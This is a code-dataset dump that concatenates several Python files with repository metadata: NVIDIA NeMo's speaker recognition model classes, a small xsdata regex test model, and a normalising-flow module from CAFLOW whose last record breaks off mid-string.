nodeitems_utils.unregister_node_categories("RENDERMANSHADERNODES") # bpy.utils.unregister_module(__name__) for cls in classes: bpy.utils.unregister_class(cls)
true
true
f71f139049f87b9c55751a72e126f4f93a152ebd
18,118
py
Python
nemo/collections/asr/models/label_models.py
dynasty-com/NeMo
1ac828df423fbcec1b34c650b3a20266bb133dde
[ "Apache-2.0" ]
null
null
null
nemo/collections/asr/models/label_models.py
dynasty-com/NeMo
1ac828df423fbcec1b34c650b3a20266bb133dde
[ "Apache-2.0" ]
null
null
null
nemo/collections/asr/models/label_models.py
dynasty-com/NeMo
1ac828df423fbcec1b34c650b3a20266bb133dde
[ "Apache-2.0" ]
null
null
null
# Copyright (c) 2020, NVIDIA CORPORATION. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import copy import json import os import pickle as pkl from typing import Dict, List, Optional, Union import onnx import torch from omegaconf import DictConfig from omegaconf.omegaconf import open_dict from pytorch_lightning import Trainer from nemo.collections.asr.data.audio_to_label import AudioToSpeechLabelDataSet from nemo.collections.asr.losses.angularloss import AngularSoftmaxLoss from nemo.collections.asr.parts.features import WaveformFeaturizer from nemo.collections.asr.parts.perturb import process_augmentations from nemo.collections.common.losses import CrossEntropyLoss as CELoss from nemo.collections.common.metrics import TopKClassificationAccuracy from nemo.core.classes import ModelPT from nemo.core.classes.common import PretrainedModelInfo, typecheck from nemo.core.classes.exportable import Exportable from nemo.core.neural_types import * from nemo.utils import logging from nemo.utils.export_utils import attach_onnx_to_onnx __all__ = ['EncDecSpeakerLabelModel', 'ExtractSpeakerEmbeddingsModel'] class EncDecSpeakerLabelModel(ModelPT, Exportable): """Encoder decoder class for speaker label models. Model class creates training, validation methods for setting up data performing model forward pass. Expects config dict for * preprocessor * Jasper/Quartznet Encoder * Speaker Decoder """ @classmethod def list_available_models(cls) -> List[PretrainedModelInfo]: """ This method returns a list of pre-trained model which can be instantiated directly from NVIDIA's NGC cloud. Returns: List of available pre-trained models. """ result = [] model = PretrainedModelInfo( pretrained_model_name="SpeakerNet_recognition", location="https://api.ngc.nvidia.com/v2/models/nvidia/nemospeechmodels/versions/1.0.0a5/files/SpeakerNet_recognition.nemo", description="SpeakerNet_recognition model trained end-to-end for speaker recognition purposes with cross_entropy loss. It was trained on voxceleb 1, voxceleb 2 dev datasets and augmented with musan music and noise. Speaker Recognition model achieves 2.65% EER on voxceleb-O cleaned trial file", ) result.append(model) model = PretrainedModelInfo( pretrained_model_name="SpeakerNet_verification", location="https://api.ngc.nvidia.com/v2/models/nvidia/nemospeechmodels/versions/1.0.0a5/files/SpeakerNet_verification.nemo", description="SpeakerNet_verification model trained end-to-end for speaker verification purposes with arcface angular softmax loss. It was trained on voxceleb 1, voxceleb 2 dev datasets and augmented with musan music and noise. Speaker Verification model achieves 2.12% EER on voxceleb-O cleaned trial file", ) result.append(model) return result def __init__(self, cfg: DictConfig, trainer: Trainer = None): super().__init__(cfg=cfg, trainer=trainer) self.preprocessor = EncDecSpeakerLabelModel.from_config_dict(cfg.preprocessor) self.encoder = EncDecSpeakerLabelModel.from_config_dict(cfg.encoder) self.decoder = EncDecSpeakerLabelModel.from_config_dict(cfg.decoder) if 'angular' in cfg.decoder and cfg.decoder['angular']: logging.info("Training with Angular Softmax Loss") scale = cfg.loss.scale margin = cfg.loss.margin self.loss = AngularSoftmaxLoss(scale=scale, margin=margin) else: logging.info("Training with Softmax-CrossEntropy loss") self.loss = CELoss() self._accuracy = TopKClassificationAccuracy(top_k=[1], dist_sync_on_step=True) def __setup_dataloader_from_config(self, config: Optional[Dict]): if 'augmentor' in config: augmentor = process_augmentations(config['augmentor']) else: augmentor = None featurizer = WaveformFeaturizer( sample_rate=config['sample_rate'], int_values=config.get('int_values', False), augmentor=augmentor ) self.dataset = AudioToSpeechLabelDataSet( manifest_filepath=config['manifest_filepath'], labels=config['labels'], featurizer=featurizer, max_duration=config.get('max_duration', None), min_duration=config.get('min_duration', None), trim=config.get('trim_silence', True), load_audio=config.get('load_audio', True), time_length=config.get('time_length', 8), ) return torch.utils.data.DataLoader( dataset=self.dataset, batch_size=config['batch_size'], collate_fn=self.dataset.fixed_seq_collate_fn, drop_last=config.get('drop_last', False), shuffle=config['shuffle'], num_workers=config.get('num_workers', 2), pin_memory=config.get('pin_memory', False), ) def setup_training_data(self, train_data_layer_config: Optional[Union[DictConfig, Dict]]): if 'shuffle' not in train_data_layer_config: train_data_layer_config['shuffle'] = True self._train_dl = self.__setup_dataloader_from_config(config=train_data_layer_config) def setup_validation_data(self, val_data_layer_config: Optional[Union[DictConfig, Dict]]): if 'shuffle' not in val_data_layer_config: val_data_layer_config['shuffle'] = False val_data_layer_config['labels'] = self.dataset.labels self._validation_dl = self.__setup_dataloader_from_config(config=val_data_layer_config) def setup_test_data(self, test_data_layer_params: Optional[Union[DictConfig, Dict]]): if 'shuffle' not in test_data_layer_params: test_data_layer_params['shuffle'] = False if hasattr(self, 'dataset'): test_data_layer_params['labels'] = self.dataset.labels self.embedding_dir = test_data_layer_params.get('embedding_dir', './') self.test_manifest = test_data_layer_params.get('manifest_filepath', None) self._test_dl = self.__setup_dataloader_from_config(config=test_data_layer_params) @property def input_types(self) -> Optional[Dict[str, NeuralType]]: if hasattr(self.preprocessor, '_sample_rate'): audio_eltype = AudioSignal(freq=self.preprocessor._sample_rate) else: audio_eltype = AudioSignal() return { "input_signal": NeuralType(('B', 'T'), audio_eltype), "input_signal_length": NeuralType(tuple('B'), LengthsType()), } @property def output_types(self) -> Optional[Dict[str, NeuralType]]: return { "logits": NeuralType(('B', 'D'), LogitsType()), "embs": NeuralType(('B', 'D'), AcousticEncodedRepresentation()), } @typecheck() def forward(self, input_signal, input_signal_length): processed_signal, processed_signal_len = self.preprocessor( input_signal=input_signal, length=input_signal_length, ) encoded, _ = self.encoder(audio_signal=processed_signal, length=processed_signal_len) logits, embs = self.decoder(encoder_output=encoded) return logits, embs # PTL-specific methods def training_step(self, batch, batch_idx): audio_signal, audio_signal_len, labels, _ = batch logits, _ = self.forward(input_signal=audio_signal, input_signal_length=audio_signal_len) loss = self.loss(logits=logits, labels=labels) self.log('loss', loss) self.log('learning_rate', self._optimizer.param_groups[0]['lr']) self._accuracy(logits=logits, labels=labels) top_k = self._accuracy.compute() for i, top_i in enumerate(top_k): self.log(f'training_batch_accuracy_top@{i}', top_i) return {'loss': loss} def validation_step(self, batch, batch_idx, dataloader_idx: int = 0): audio_signal, audio_signal_len, labels, _ = batch logits, _ = self.forward(input_signal=audio_signal, input_signal_length=audio_signal_len) loss_value = self.loss(logits=logits, labels=labels) acc_top_k = self._accuracy(logits=logits, labels=labels) correct_counts, total_counts = self._accuracy.correct_counts_k, self._accuracy.total_counts_k return { 'val_loss': loss_value, 'val_correct_counts': correct_counts, 'val_total_counts': total_counts, 'val_acc_top_k': acc_top_k, } def multi_validation_epoch_end(self, outputs, dataloader_idx: int = 0): val_loss_mean = torch.stack([x['val_loss'] for x in outputs]).mean() correct_counts = torch.stack([x['val_correct_counts'] for x in outputs]).sum(axis=0) total_counts = torch.stack([x['val_total_counts'] for x in outputs]).sum(axis=0) self._accuracy.correct_counts_k = correct_counts self._accuracy.total_counts_k = total_counts topk_scores = self._accuracy.compute() logging.info("val_loss: {:.3f}".format(val_loss_mean)) self.log('val_loss', val_loss_mean) for top_k, score in zip(self._accuracy.top_k, topk_scores): self.log('val_epoch_accuracy_top@{}'.format(top_k), score) return { 'val_loss': val_loss_mean, 'val_acc_top_k': topk_scores, } def test_step(self, batch, batch_idx, dataloader_idx: int = 0): audio_signal, audio_signal_len, labels, _ = batch logits, _ = self.forward(input_signal=audio_signal, input_signal_length=audio_signal_len) loss_value = self.loss(logits=logits, labels=labels) acc_top_k = self._accuracy(logits=logits, labels=labels) correct_counts, total_counts = self._accuracy.correct_counts_k, self._accuracy.total_counts_k return { 'test_loss': loss_value, 'test_correct_counts': correct_counts, 'test_total_counts': total_counts, 'test_acc_top_k': acc_top_k, } def multi_test_epoch_end(self, outputs, dataloader_idx: int = 0): test_loss_mean = torch.stack([x['test_loss'] for x in outputs]).mean() correct_counts = torch.stack([x['test_correct_counts'] for x in outputs]).sum(axis=0) total_counts = torch.stack([x['test_total_counts'] for x in outputs]).sum(axis=0) self._accuracy.correct_counts_k = correct_counts self._accuracy.total_counts_k = total_counts topk_scores = self._accuracy.compute() logging.info("test_loss: {:.3f}".format(test_loss_mean)) self.log('test_loss', test_loss_mean) for top_k, score in zip(self._accuracy.top_k, topk_scores): self.log('test_epoch_accuracy_top@{}'.format(top_k), score) return { 'test_loss': test_loss_mean, 'test_acc_top_k': topk_scores, } def setup_finetune_model(self, model_config: DictConfig): """ setup_finetune_model method sets up training data, validation data and test data with new provided config, this checks for the previous labels set up during training from scratch, if None, it sets up labels for provided finetune data from manifest files Args: model_config: cfg which has train_ds, optional validation_ds, optional test_ds and mandatory encoder and decoder model params make sure you set num_classes correctly for finetune data Returns: None """ if hasattr(self, 'dataset'): scratch_labels = self.dataset.labels else: scratch_labels = None logging.info("Setting up data loaders with manifests provided from model_config") if 'train_ds' in model_config and model_config.train_ds is not None: self.setup_training_data(model_config.train_ds) else: raise KeyError("train_ds is not found in model_config but you need it for fine tuning") if self.dataset.labels is None or len(self.dataset.labels) == 0: raise ValueError(f'New labels must be non-empty list of labels. But I got: {self.dataset.labels}') if 'validation_ds' in model_config and model_config.validation_ds is not None: self.setup_multiple_validation_data(model_config.validation_ds) if 'test_ds' in model_config and model_config.test_ds is not None: self.setup_multiple_test_data(model_config.test_ds) if scratch_labels == self.dataset.labels: # checking for new finetune dataset labels logging.warning( "Trained dataset labels are same as finetune dataset labels -- continuing change of decoder parameters" ) elif scratch_labels is None: logging.warning( "Either you provided a dummy manifest file during training from scratch or you restored from a pretrained nemo file" ) decoder_config = model_config.decoder new_decoder_config = copy.deepcopy(decoder_config) if new_decoder_config['num_classes'] != len(self.dataset.labels): raise ValueError( "number of classes provided {} is not same as number of different labels in finetuning data: {}".format( new_decoder_config['num_classes'], len(self.dataset.labels) ) ) del self.decoder self.decoder = EncDecSpeakerLabelModel.from_config_dict(new_decoder_config) with open_dict(self._cfg.decoder): self._cfg.decoder = new_decoder_config logging.info(f"Changed decoder output to # {self.decoder._num_classes} classes.") def export( self, output: str, input_example=None, output_example=None, verbose=False, export_params=True, do_constant_folding=True, keep_initializers_as_inputs=False, onnx_opset_version: int = 12, try_script: bool = False, set_eval: bool = True, check_trace: bool = True, use_dynamic_axes: bool = True, ): if input_example is not None or output_example is not None: logging.warning( "Passed input and output examples will be ignored and recomputed since" " EncDecSpeakerModel consists of two separate models (encoder and decoder) with different" " inputs and outputs." ) encoder_onnx = self.encoder.export( os.path.join(os.path.dirname(output), 'encoder_' + os.path.basename(output)), None, # computed by input_example() None, verbose, export_params, do_constant_folding, keep_initializers_as_inputs, onnx_opset_version, try_script, set_eval, check_trace, use_dynamic_axes, ) decoder_onnx = self.decoder.export( os.path.join(os.path.dirname(output), 'decoder_' + os.path.basename(output)), None, # computed by input_example() None, verbose, export_params, do_constant_folding, keep_initializers_as_inputs, onnx_opset_version, try_script, set_eval, check_trace, use_dynamic_axes, ) output_model = attach_onnx_to_onnx(encoder_onnx, decoder_onnx, "SL") onnx.save(output_model, output) class ExtractSpeakerEmbeddingsModel(EncDecSpeakerLabelModel): """ This Model class facilitates extraction of speaker embeddings from a pretrained model. Respective embedding file is saved in self.embedding dir passed through cfg """ def __init__(self, cfg: DictConfig, trainer: Trainer = None): super().__init__(cfg=cfg, trainer=trainer) def test_step(self, batch, batch_ix): audio_signal, audio_signal_len, labels, slices = batch _, embs = self.forward(input_signal=audio_signal, input_signal_length=audio_signal_len) return {'embs': embs, 'labels': labels, 'slices': slices} def test_epoch_end(self, outputs): embs = torch.cat([x['embs'] for x in outputs]) slices = torch.cat([x['slices'] for x in outputs]) emb_shape = embs.shape[-1] embs = embs.view(-1, emb_shape).cpu().numpy() out_embeddings = {} start_idx = 0 with open(self.test_manifest, 'r') as manifest: for idx, line in enumerate(manifest.readlines()): line = line.strip() dic = json.loads(line) structure = dic['audio_filepath'].split('/')[-3:] uniq_name = '@'.join(structure) if uniq_name in out_embeddings: raise KeyError("Embeddings for label {} already present in emb dictionary".format(uniq_name)) num_slices = slices[idx] end_idx = start_idx + num_slices out_embeddings[uniq_name] = embs[start_idx:end_idx].mean(axis=0) start_idx = end_idx embedding_dir = os.path.join(self.embedding_dir, 'embeddings') if not os.path.exists(embedding_dir): os.mkdir(embedding_dir) prefix = self.test_manifest.split('/')[-1].split('.')[-2] name = os.path.join(embedding_dir, prefix) pkl.dump(out_embeddings, open(name + '_embeddings.pkl', 'wb')) logging.info("Saved embedding files to {}".format(embedding_dir)) return {}
43.552885
319
0.669941
import copy import json import os import pickle as pkl from typing import Dict, List, Optional, Union import onnx import torch from omegaconf import DictConfig from omegaconf.omegaconf import open_dict from pytorch_lightning import Trainer from nemo.collections.asr.data.audio_to_label import AudioToSpeechLabelDataSet from nemo.collections.asr.losses.angularloss import AngularSoftmaxLoss from nemo.collections.asr.parts.features import WaveformFeaturizer from nemo.collections.asr.parts.perturb import process_augmentations from nemo.collections.common.losses import CrossEntropyLoss as CELoss from nemo.collections.common.metrics import TopKClassificationAccuracy from nemo.core.classes import ModelPT from nemo.core.classes.common import PretrainedModelInfo, typecheck from nemo.core.classes.exportable import Exportable from nemo.core.neural_types import * from nemo.utils import logging from nemo.utils.export_utils import attach_onnx_to_onnx __all__ = ['EncDecSpeakerLabelModel', 'ExtractSpeakerEmbeddingsModel'] class EncDecSpeakerLabelModel(ModelPT, Exportable): @classmethod def list_available_models(cls) -> List[PretrainedModelInfo]: result = [] model = PretrainedModelInfo( pretrained_model_name="SpeakerNet_recognition", location="https://api.ngc.nvidia.com/v2/models/nvidia/nemospeechmodels/versions/1.0.0a5/files/SpeakerNet_recognition.nemo", description="SpeakerNet_recognition model trained end-to-end for speaker recognition purposes with cross_entropy loss. It was trained on voxceleb 1, voxceleb 2 dev datasets and augmented with musan music and noise. Speaker Recognition model achieves 2.65% EER on voxceleb-O cleaned trial file", ) result.append(model) model = PretrainedModelInfo( pretrained_model_name="SpeakerNet_verification", location="https://api.ngc.nvidia.com/v2/models/nvidia/nemospeechmodels/versions/1.0.0a5/files/SpeakerNet_verification.nemo", description="SpeakerNet_verification model trained end-to-end for speaker verification purposes with arcface angular softmax loss. It was trained on voxceleb 1, voxceleb 2 dev datasets and augmented with musan music and noise. Speaker Verification model achieves 2.12% EER on voxceleb-O cleaned trial file", ) result.append(model) return result def __init__(self, cfg: DictConfig, trainer: Trainer = None): super().__init__(cfg=cfg, trainer=trainer) self.preprocessor = EncDecSpeakerLabelModel.from_config_dict(cfg.preprocessor) self.encoder = EncDecSpeakerLabelModel.from_config_dict(cfg.encoder) self.decoder = EncDecSpeakerLabelModel.from_config_dict(cfg.decoder) if 'angular' in cfg.decoder and cfg.decoder['angular']: logging.info("Training with Angular Softmax Loss") scale = cfg.loss.scale margin = cfg.loss.margin self.loss = AngularSoftmaxLoss(scale=scale, margin=margin) else: logging.info("Training with Softmax-CrossEntropy loss") self.loss = CELoss() self._accuracy = TopKClassificationAccuracy(top_k=[1], dist_sync_on_step=True) def __setup_dataloader_from_config(self, config: Optional[Dict]): if 'augmentor' in config: augmentor = process_augmentations(config['augmentor']) else: augmentor = None featurizer = WaveformFeaturizer( sample_rate=config['sample_rate'], int_values=config.get('int_values', False), augmentor=augmentor ) self.dataset = AudioToSpeechLabelDataSet( manifest_filepath=config['manifest_filepath'], labels=config['labels'], featurizer=featurizer, max_duration=config.get('max_duration', None), min_duration=config.get('min_duration', None), trim=config.get('trim_silence', True), load_audio=config.get('load_audio', True), time_length=config.get('time_length', 8), ) return torch.utils.data.DataLoader( dataset=self.dataset, batch_size=config['batch_size'], collate_fn=self.dataset.fixed_seq_collate_fn, drop_last=config.get('drop_last', False), shuffle=config['shuffle'], num_workers=config.get('num_workers', 2), pin_memory=config.get('pin_memory', False), ) def setup_training_data(self, train_data_layer_config: Optional[Union[DictConfig, Dict]]): if 'shuffle' not in train_data_layer_config: train_data_layer_config['shuffle'] = True self._train_dl = self.__setup_dataloader_from_config(config=train_data_layer_config) def setup_validation_data(self, val_data_layer_config: Optional[Union[DictConfig, Dict]]): if 'shuffle' not in val_data_layer_config: val_data_layer_config['shuffle'] = False val_data_layer_config['labels'] = self.dataset.labels self._validation_dl = self.__setup_dataloader_from_config(config=val_data_layer_config) def setup_test_data(self, test_data_layer_params: Optional[Union[DictConfig, Dict]]): if 'shuffle' not in test_data_layer_params: test_data_layer_params['shuffle'] = False if hasattr(self, 'dataset'): test_data_layer_params['labels'] = self.dataset.labels self.embedding_dir = test_data_layer_params.get('embedding_dir', './') self.test_manifest = test_data_layer_params.get('manifest_filepath', None) self._test_dl = self.__setup_dataloader_from_config(config=test_data_layer_params) @property def input_types(self) -> Optional[Dict[str, NeuralType]]: if hasattr(self.preprocessor, '_sample_rate'): audio_eltype = AudioSignal(freq=self.preprocessor._sample_rate) else: audio_eltype = AudioSignal() return { "input_signal": NeuralType(('B', 'T'), audio_eltype), "input_signal_length": NeuralType(tuple('B'), LengthsType()), } @property def output_types(self) -> Optional[Dict[str, NeuralType]]: return { "logits": NeuralType(('B', 'D'), LogitsType()), "embs": NeuralType(('B', 'D'), AcousticEncodedRepresentation()), } @typecheck() def forward(self, input_signal, input_signal_length): processed_signal, processed_signal_len = self.preprocessor( input_signal=input_signal, length=input_signal_length, ) encoded, _ = self.encoder(audio_signal=processed_signal, length=processed_signal_len) logits, embs = self.decoder(encoder_output=encoded) return logits, embs def training_step(self, batch, batch_idx): audio_signal, audio_signal_len, labels, _ = batch logits, _ = self.forward(input_signal=audio_signal, input_signal_length=audio_signal_len) loss = self.loss(logits=logits, labels=labels) self.log('loss', loss) self.log('learning_rate', self._optimizer.param_groups[0]['lr']) self._accuracy(logits=logits, labels=labels) top_k = self._accuracy.compute() for i, top_i in enumerate(top_k): self.log(f'training_batch_accuracy_top@{i}', top_i) return {'loss': loss} def validation_step(self, batch, batch_idx, dataloader_idx: int = 0): audio_signal, audio_signal_len, labels, _ = batch logits, _ = self.forward(input_signal=audio_signal, input_signal_length=audio_signal_len) loss_value = self.loss(logits=logits, labels=labels) acc_top_k = self._accuracy(logits=logits, labels=labels) correct_counts, total_counts = self._accuracy.correct_counts_k, self._accuracy.total_counts_k return { 'val_loss': loss_value, 'val_correct_counts': correct_counts, 'val_total_counts': total_counts, 'val_acc_top_k': acc_top_k, } def multi_validation_epoch_end(self, outputs, dataloader_idx: int = 0): val_loss_mean = torch.stack([x['val_loss'] for x in outputs]).mean() correct_counts = torch.stack([x['val_correct_counts'] for x in outputs]).sum(axis=0) total_counts = torch.stack([x['val_total_counts'] for x in outputs]).sum(axis=0) self._accuracy.correct_counts_k = correct_counts self._accuracy.total_counts_k = total_counts topk_scores = self._accuracy.compute() logging.info("val_loss: {:.3f}".format(val_loss_mean)) self.log('val_loss', val_loss_mean) for top_k, score in zip(self._accuracy.top_k, topk_scores): self.log('val_epoch_accuracy_top@{}'.format(top_k), score) return { 'val_loss': val_loss_mean, 'val_acc_top_k': topk_scores, } def test_step(self, batch, batch_idx, dataloader_idx: int = 0): audio_signal, audio_signal_len, labels, _ = batch logits, _ = self.forward(input_signal=audio_signal, input_signal_length=audio_signal_len) loss_value = self.loss(logits=logits, labels=labels) acc_top_k = self._accuracy(logits=logits, labels=labels) correct_counts, total_counts = self._accuracy.correct_counts_k, self._accuracy.total_counts_k return { 'test_loss': loss_value, 'test_correct_counts': correct_counts, 'test_total_counts': total_counts, 'test_acc_top_k': acc_top_k, } def multi_test_epoch_end(self, outputs, dataloader_idx: int = 0): test_loss_mean = torch.stack([x['test_loss'] for x in outputs]).mean() correct_counts = torch.stack([x['test_correct_counts'] for x in outputs]).sum(axis=0) total_counts = torch.stack([x['test_total_counts'] for x in outputs]).sum(axis=0) self._accuracy.correct_counts_k = correct_counts self._accuracy.total_counts_k = total_counts topk_scores = self._accuracy.compute() logging.info("test_loss: {:.3f}".format(test_loss_mean)) self.log('test_loss', test_loss_mean) for top_k, score in zip(self._accuracy.top_k, topk_scores): self.log('test_epoch_accuracy_top@{}'.format(top_k), score) return { 'test_loss': test_loss_mean, 'test_acc_top_k': topk_scores, } def setup_finetune_model(self, model_config: DictConfig): if hasattr(self, 'dataset'): scratch_labels = self.dataset.labels else: scratch_labels = None logging.info("Setting up data loaders with manifests provided from model_config") if 'train_ds' in model_config and model_config.train_ds is not None: self.setup_training_data(model_config.train_ds) else: raise KeyError("train_ds is not found in model_config but you need it for fine tuning") if self.dataset.labels is None or len(self.dataset.labels) == 0: raise ValueError(f'New labels must be non-empty list of labels. But I got: {self.dataset.labels}') if 'validation_ds' in model_config and model_config.validation_ds is not None: self.setup_multiple_validation_data(model_config.validation_ds) if 'test_ds' in model_config and model_config.test_ds is not None: self.setup_multiple_test_data(model_config.test_ds) if scratch_labels == self.dataset.labels: logging.warning( "Trained dataset labels are same as finetune dataset labels -- continuing change of decoder parameters" ) elif scratch_labels is None: logging.warning( "Either you provided a dummy manifest file during training from scratch or you restored from a pretrained nemo file" ) decoder_config = model_config.decoder new_decoder_config = copy.deepcopy(decoder_config) if new_decoder_config['num_classes'] != len(self.dataset.labels): raise ValueError( "number of classes provided {} is not same as number of different labels in finetuning data: {}".format( new_decoder_config['num_classes'], len(self.dataset.labels) ) ) del self.decoder self.decoder = EncDecSpeakerLabelModel.from_config_dict(new_decoder_config) with open_dict(self._cfg.decoder): self._cfg.decoder = new_decoder_config logging.info(f"Changed decoder output to # {self.decoder._num_classes} classes.") def export( self, output: str, input_example=None, output_example=None, verbose=False, export_params=True, do_constant_folding=True, keep_initializers_as_inputs=False, onnx_opset_version: int = 12, try_script: bool = False, set_eval: bool = True, check_trace: bool = True, use_dynamic_axes: bool = True, ): if input_example is not None or output_example is not None: logging.warning( "Passed input and output examples will be ignored and recomputed since" " EncDecSpeakerModel consists of two separate models (encoder and decoder) with different" " inputs and outputs." ) encoder_onnx = self.encoder.export( os.path.join(os.path.dirname(output), 'encoder_' + os.path.basename(output)), None, None, verbose, export_params, do_constant_folding, keep_initializers_as_inputs, onnx_opset_version, try_script, set_eval, check_trace, use_dynamic_axes, ) decoder_onnx = self.decoder.export( os.path.join(os.path.dirname(output), 'decoder_' + os.path.basename(output)), None, None, verbose, export_params, do_constant_folding, keep_initializers_as_inputs, onnx_opset_version, try_script, set_eval, check_trace, use_dynamic_axes, ) output_model = attach_onnx_to_onnx(encoder_onnx, decoder_onnx, "SL") onnx.save(output_model, output) class ExtractSpeakerEmbeddingsModel(EncDecSpeakerLabelModel): def __init__(self, cfg: DictConfig, trainer: Trainer = None): super().__init__(cfg=cfg, trainer=trainer) def test_step(self, batch, batch_ix): audio_signal, audio_signal_len, labels, slices = batch _, embs = self.forward(input_signal=audio_signal, input_signal_length=audio_signal_len) return {'embs': embs, 'labels': labels, 'slices': slices} def test_epoch_end(self, outputs): embs = torch.cat([x['embs'] for x in outputs]) slices = torch.cat([x['slices'] for x in outputs]) emb_shape = embs.shape[-1] embs = embs.view(-1, emb_shape).cpu().numpy() out_embeddings = {} start_idx = 0 with open(self.test_manifest, 'r') as manifest: for idx, line in enumerate(manifest.readlines()): line = line.strip() dic = json.loads(line) structure = dic['audio_filepath'].split('/')[-3:] uniq_name = '@'.join(structure) if uniq_name in out_embeddings: raise KeyError("Embeddings for label {} already present in emb dictionary".format(uniq_name)) num_slices = slices[idx] end_idx = start_idx + num_slices out_embeddings[uniq_name] = embs[start_idx:end_idx].mean(axis=0) start_idx = end_idx embedding_dir = os.path.join(self.embedding_dir, 'embeddings') if not os.path.exists(embedding_dir): os.mkdir(embedding_dir) prefix = self.test_manifest.split('/')[-1].split('.')[-2] name = os.path.join(embedding_dir, prefix) pkl.dump(out_embeddings, open(name + '_embeddings.pkl', 'wb')) logging.info("Saved embedding files to {}".format(embedding_dir)) return {}
true
true
f71f140f350264a0dce7591a5dbac3e9ba360b5f
477
py
Python
output/models/ms_data/regex/re_f7_xsd/re_f7.py
tefra/xsdata-w3c-tests
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
[ "MIT" ]
1
2021-08-14T17:59:21.000Z
2021-08-14T17:59:21.000Z
output/models/ms_data/regex/re_f7_xsd/re_f7.py
tefra/xsdata-w3c-tests
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
[ "MIT" ]
4
2020-02-12T21:30:44.000Z
2020-04-15T20:06:46.000Z
output/models/ms_data/regex/re_f7_xsd/re_f7.py
tefra/xsdata-w3c-tests
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
[ "MIT" ]
null
null
null
from dataclasses import dataclass, field from typing import List, Optional @dataclass class Regex: att: Optional[str] = field( default=None, metadata={ "type": "Attribute", "pattern": r"[^\s]{3}", } ) @dataclass class Doc: class Meta: name = "doc" elem: List[Regex] = field( default_factory=list, metadata={ "type": "Element", "namespace": "", } )
17.035714
40
0.505241
from dataclasses import dataclass, field from typing import List, Optional @dataclass class Regex: att: Optional[str] = field( default=None, metadata={ "type": "Attribute", "pattern": r"[^\s]{3}", } ) @dataclass class Doc: class Meta: name = "doc" elem: List[Regex] = field( default_factory=list, metadata={ "type": "Element", "namespace": "", } )
true
true
f71f145a83c52f0a8a2143d25a2e21652b51782c
5,116
py
Python
caflow/models/modules/mri_to_pet/UnconditionalFlow.py
GBATZOLIS/CAFLOW
ea33f84c424bd8e46999be59cd5d52bd8f0a3a77
[ "MIT" ]
6
2021-06-01T15:29:20.000Z
2022-03-01T03:58:43.000Z
caflow/models/modules/mri_to_pet/UnconditionalFlow.py
GBATZOLIS/CAFLOW
ea33f84c424bd8e46999be59cd5d52bd8f0a3a77
[ "MIT" ]
null
null
null
caflow/models/modules/mri_to_pet/UnconditionalFlow.py
GBATZOLIS/CAFLOW
ea33f84c424bd8e46999be59cd5d52bd8f0a3a77
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Tue Jan 19 22:02:53 2021 @author: gbatz97 """ import torch.nn as nn import torch from caflow.models.modules.blocks.FlowBlock import FlowBlock from caflow.models.modules.blocks.Dequantisation import Dequantisation, VariationalDequantization class UnconditionalFlow(nn.Module): def __init__(self, channels, dim, resolution, scales, scale_depth, quants, vardeq_depth, coupling_type, nn_settings): super(UnconditionalFlow, self).__init__() self.channels = channels self.dim = dim self.resolution = resolution self.scales = scales self.scale_blocks = nn.ModuleList() if vardeq_depth is None: self.scale_blocks.append(Dequantisation(dim=dim, quants=quants)) else: self.scale_blocks.append(VariationalDequantization(channels=channels, depth=vardeq_depth, dim=dim, \ resolution=self.calculate_resolution(dim, 0),\ quants=quants, coupling_type=coupling_type, nn_settings=nn_settings)) for scale in range(self.scales): scale_channels = self.calculate_scale_channels(dim, scale) resolution = self.calculate_resolution(dim, scale) self.scale_blocks.append(FlowBlock(channels = scale_channels, dim = dim, resolution=resolution, depth = scale_depth, coupling_type=coupling_type, nn_settings=nn_settings)) # Create prior distribution for final latent space self.prior = torch.distributions.normal.Normal(loc=0.0, scale=1.0) def calculate_resolution(self, dim, scale): if isinstance(self.resolution, int): resolution = tuple([self.resolution//2**scale for _ in range(self.dim)]) else: resolution = tuple([x//2**scale for x in self.resolution]) return resolution def calculate_scale_channels(self, dim, scale): if scale==0: return 2 ** (dim * scale) * self.channels else: return 2 ** ((dim-1) * scale) * self.channels def forward(self, y=None, z=[], logprior=0., logdet=0., reverse=False): if reverse: #assert z is not None y_dec, logdet = self.decode(z, logdet=logdet) return y_dec, logdet else: #assert y is not None z_enc, logprior, logdet = self.encode(y, logprior=logprior, logdet=logdet) return z_enc, logprior, logdet def encode(self, y, logprior, logdet): #y is the HR image/scan that we want to encode in the latent space #z_enc: list of the encoded latent tensors in ascending scale order #order: from scale 1 (dim=orig_dim/2) --- to --- scale n (dim=orig_dim/2^n) h_pass = y z_enc = [] h_pass, logdet = self.scale_blocks[0](h_pass, logdet, False) #dequantisation for i in range(1, self.scales+1): if i==self.scales: h_split, logdet = self.scale_blocks[i](h_pass, logdet, False) else: h, logdet = self.scale_blocks[i](h_pass, logdet, False) h_split, h_pass = h.chunk(2, dim=1) logprior+=self.prior.log_prob(h_split).sum(dim = [i+1 for i in range(self.dim+1)]) z_enc.append(h_split) return z_enc, logprior, logdet def decode(self, z:list, logdet): #z is a list of the latent tensors of the different scales. #The tensors of different scales have been put in an ascending order #z = [h_split(1st scale)-size:D/2, ..., h_split(nth scale)-size:D/2^n] h_pass=None for i in range(self.scales): h_split = z[self.scales-1-i] if h_pass==None: concat_pass = h_split else: concat_pass = torch.cat([h_split, h_pass], dim=1) h_pass, logdet = self.scale_blocks[self.scales-i](concat_pass, logdet, True) h_pass, logdet = self.scale_blocks[0](h_pass, logdet, True) #quantisation return h_pass, logdet """ #instantiate the unconditional flow rflow = UnconditionalFlow(channels=1, dim=3, scales=4, scale_depth=3, network = GatedConvNet) y = torch.randn((2, 1, 64, 64, 64), dtype=torch.float32) print('y shape: ', y.size()) print('Encoding y with the forward pass...We get z_enc (same dimensionality)') z_enc, logprior, logdet = rflow(y=y) print('z_enc elements:') for i, elem in enumerate(z_enc): print(i, elem.size()) print('logprior size: ', logprior.size()) print('logdet size: ', logdet.size()) print('Decoding y_dec from its z_enc enconding... We pass z_enc through the backward pass.') y_dec, logdet = rflow(z=z_enc, reverse=True) print('y_dec 